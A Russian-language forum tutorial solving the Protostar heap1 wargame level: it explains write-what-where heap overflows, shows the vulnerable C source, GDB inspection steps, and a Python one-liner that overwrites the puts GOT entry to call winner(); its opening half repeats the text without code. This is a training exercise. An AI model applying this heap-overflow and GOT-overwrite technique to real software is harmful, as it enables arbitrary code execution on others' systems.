Доброго времени суток codeby. В предыдущей статье мы работали над переполнением буфера в кучи и перезаписывали структурный указатель на функцию. В статье мы так же будем работать над переполнением кучи и познакомимся с произвольной перезаписью памяти — условием Write-What-Where, посмотрим, что это такое и с чем его едят. И так поехали…
Описание ExploitMe
Этот уровень учитывает перехват потока выполнения кода в случаях перезаписи данных.
Этот уровень находится в / opt / protostar / bin / heap1
heap1, VM
Исходный код
Решение
Эта задача является отличным введением в класс уязвимостей Write-What-Where (запись-что-где), в которой описывается возможность произвольной записи.
Уязвимость — произвольной перезаписи памяти, или уязвимость известная, как уязвимость «запись-что-где» (Write-What-Where) — это любое условие, при котором злоумышленник может записать произвольное значение в произвольное место, часто в результате переполнения буфера. Это может быть использовано для перезаписи указателя функции, который позднее разыменовывается, заменяя его адресом памяти, к которому злоумышленник имеет законный доступ, куда он поместил вредоносный код, что приводит к выполнению произвольного кода.
В этой задаче в качестве «выполнения произвольного кода» у нас выступает мертвая функция
И так…
В глобальной области памяти определена структура данных с именем
В главной функции
Две их них используются
Дальше происходит присвоение адресов памяти этим указателям на начальные адреса выделенной памяти.
Напомню, что heap — это область динамической памяти, выделяемая на стадии исполнения программы. Выделяется 8 байт из подсчета оператора
Затем структурный указатель
Далее структурные указатели ссылаются на элемент
А теперь самое главное. Указатели структурного типа ссылаются на элемент
И получается у нас следующие… Было выделены две структуры
И так откроем программу под отладчиком GDB и дизассемблируем главную функцию
Затем поставим точку останова на RET адрес, чтобы программа не завершилась при выполнении и запустим программу под отладчиком передав ей две строки, по скольку наша программа принимает два аргумента.
Теперь посмотрим карту процесса нашей программы, чтобы найти начальный адрес расположения кучи.
И выведем 50 адресов относительно начального адреса памяти кучи, чтобы посмотреть где и как лежат наши введенные строки в памяти.
Посмотрим, что находится по адресу —
По адресу
Запустим программу под отладчиком и передадим ей в первый аргумент 20 байт из букв «А» и 4 байта из букв «В». А во второй аргумент передадим 4 байта из букв «С». И посмотрим на кучу относительно начального адреса кучи.
Смотрим
Как мы видим мы перезаписали начальный адрес кучи №2. Мы можем писать по произвольному адресу. Это и есть условие Write-What-Where. Осталось лишь подобрать нужный нам адрес для перезаписи и выполнить произвольный код)).
Воспользуемся уже знакомым нам методом. Перезаписью GOT. Если мы посмотрим на дизассемблированный листинг программы функции
Или же через objdump
Если уж говорить простым языком процедура PLT, является неким «гаджетом» для прыжка, на другие функции, которые находятся в нашей программе.
Теперь узнаем адрес функции
Адрес функции winner получен —
Теперь составим наш эксплойт, использовать будем все так же Python, а структура payload’а будет выглядеть следующим образом.
Ну и по скольку у нас специфическая уязвимая программа, которая принимает два аргумента, наш сплойт тоже будет специфическим. Он будет разделен на две части.
Цель первого аргумента состоит в том, чтобы переполнить буфер кучи
Запускаем сплойт
Отлично мы перехватили поток выполнения кода и выполнили функцию
Описание ExploitMe
Этот уровень учитывает перехват потока выполнения кода в случаях перезаписи данных.
Этот уровень находится в / opt / protostar / bin / heap1
heap1, VM
Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
Решение
Эта задача является отличным введением в класс уязвимостей Write-What-Where (запись-что-где), в которой описывается возможность произвольной записи.
Уязвимость — произвольной перезаписи памяти, или уязвимость известная, как уязвимость «запись-что-где» (Write-What-Where) — это любое условие, при котором злоумышленник может записать произвольное значение в произвольное место, часто в результате переполнения буфера. Это может быть использовано для перезаписи указателя функции, который позднее разыменовывается, заменяя его адресом памяти, к которому злоумышленник имеет законный доступ, куда он поместил вредоносный код, что приводит к выполнению произвольного кода.
В этой задаче в качестве «выполнения произвольного кода» у нас выступает мертвая функция
winner(). Поэтому суть сегодняшней задачи вызвать функцию winner(). Но прежде, чем мы до нее доберемся рассмотрим исходный код данной нам программы.И так…
В глобальной области памяти определена структура данных с именем
internet. В ней определены два элемента. Элемент priority обозначенный как целочисленная переменная и элемент name обозначенный как указатель на строку. Тут же можно добавить, что в языке Си конструкция char *ptr эквивалента конструкции char ptr[].В главной функции
main() под структуру internet созданы три переменных i1,i2,i3. Эти переменные являются указателями структурного типа для структуры internet.Две их них используются
i1 и i2. Третья переменная i3 нет.Дальше происходит присвоение адресов памяти этим указателям на начальные адреса выделенной памяти.
C:
i1 = malloc(sizeof(struct internet));
i2 = malloc(sizeof(struct internet));
Напомню, что heap — это область динамической памяти, выделяемая на стадии исполнения программы. Выделяется 8 байт из подсчета оператора
sizeof.Затем структурный указатель
i1 и i2 ссылается на элемент priority в структуре internet которому присваивается соответственно целочисленное значение 1 и 2.
C:
i1->priority = 1;
i2->priority = 2;
Далее структурные указатели ссылаются на элемент
name в структуре internet которому присваиваться адрес на выделенный блок в памяти из 8 байт.
C:
i1->name = malloc(8);
i2->name = malloc(8);
А теперь самое главное. Указатели структурного типа ссылаются на элемент
name в структуре internet. Используется функция strcpy(), которая принимает входные данные через аргумент и пишет их в name.
C:
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
И получается у нас следующие… Было выделены две структуры
internet. Каждая структура содержит указатель name который выделяется отдельно. Это означает, что структура internet, размещенная в куче, будет содержать указатель на другую часть памяти в куче.И так откроем программу под отладчиком GDB и дизассемблируем главную функцию
main().
Код:
gdb -q ./heap1
disas main
Затем поставим точку останова на RET адрес, чтобы программа не завершилась при выполнении и запустим программу под отладчиком передав ей две строки, по скольку наша программа принимает два аргумента.
Код:
break *0x08048567
run AAAA BBBB
Теперь посмотрим карту процесса нашей программы, чтобы найти начальный адрес расположения кучи.
Код:
info proc map
И выведем 50 адресов относительно начального адреса памяти кучи, чтобы посмотреть где и как лежат наши введенные строки в памяти.
Код:
x/50x 0x804a000
Посмотрим, что находится по адресу —
0x0804a038.
Код:
x/x 0x0804a038
x/s 0x0804a038
По адресу
0x0804a038 находится куча №2. Следовательно у нас получается такая картина. Смещение до адреса кучи №2 составляет 20 байт. Проверим так ли это…Запустим программу под отладчиком и передадим ей в первый аргумент 20 байт из букв «А» и 4 байта из букв «В». А во второй аргумент передадим 4 байта из букв «С». И посмотрим на кучу относительно начального адреса кучи.
Код:
run `python -c 'print "A"*20 + "B"*4'` CCCC
Смотрим
Код:
x/50x 0x804a000
Как мы видим мы перезаписали начальный адрес кучи №2. Мы можем писать по произвольному адресу. Это и есть условие Write-What-Where. Осталось лишь подобрать нужный нам адрес для перезаписи и выполнить произвольный код)).
Воспользуемся уже знакомым нам методом. Перезаписью GOT. Если мы посмотрим на дизассемблированный листинг программы функции
main(), то увидим, что сразу после второй уязвимой функцию strcpy(), идет вызов функции puts(), включая вызов адреса в PLT. Затем он переходит на адрес сохраненный в GOT. Этим мы и воспользуемся.
Код:
disas main
Код:
x/x 0x80483cc
x/i 0x80483cc
disas 0x80483cc
Или же через objdump
Код:
objdump -TR ./heap1
Если уж говорить простым языком процедура PLT, является неким «гаджетом» для прыжка, на другие функции, которые находятся в нашей программе.
Теперь узнаем адрес функции
winner().
Код:
print &winner
Адрес функции winner получен —
0x8048494.Теперь составим наш эксплойт, использовать будем все так же Python, а структура payload’а будет выглядеть следующим образом.
Код:
struct_offset + exec_redir_addr + winner_addr
"A"*20 + 0x8049774 + 0x8048494
Ну и по скольку у нас специфическая уязвимая программа, которая принимает два аргумента, наш сплойт тоже будет специфическим. Он будет разделен на две части.
Код:
struct_offest + exec_redir_addr | winner_addr
arg1 | arg2
Цель первого аргумента состоит в том, чтобы переполнить буфер кучи
i1-> name в структуре i2 и перезаписать адрес i2-> name адресом адреса puts_GOT. Цель второго аргумента — просто указать адрес, на который будет перенаправлено выполнение кода.Запускаем сплойт
Код:
./heap1 `python -c 'from struct import pack; exec_redir_addr=pack("I",0x8049774); struct_offset= "A"*20; print struct_offset + exec_redir_addr'` `python -c 'from struct import pack; winner_addr=pack("I",0x8048494); print winner_addr'`
Отлично мы перехватили поток выполнения кода и выполнили функцию
winner(). Теперь можно переходить на следующий уровень.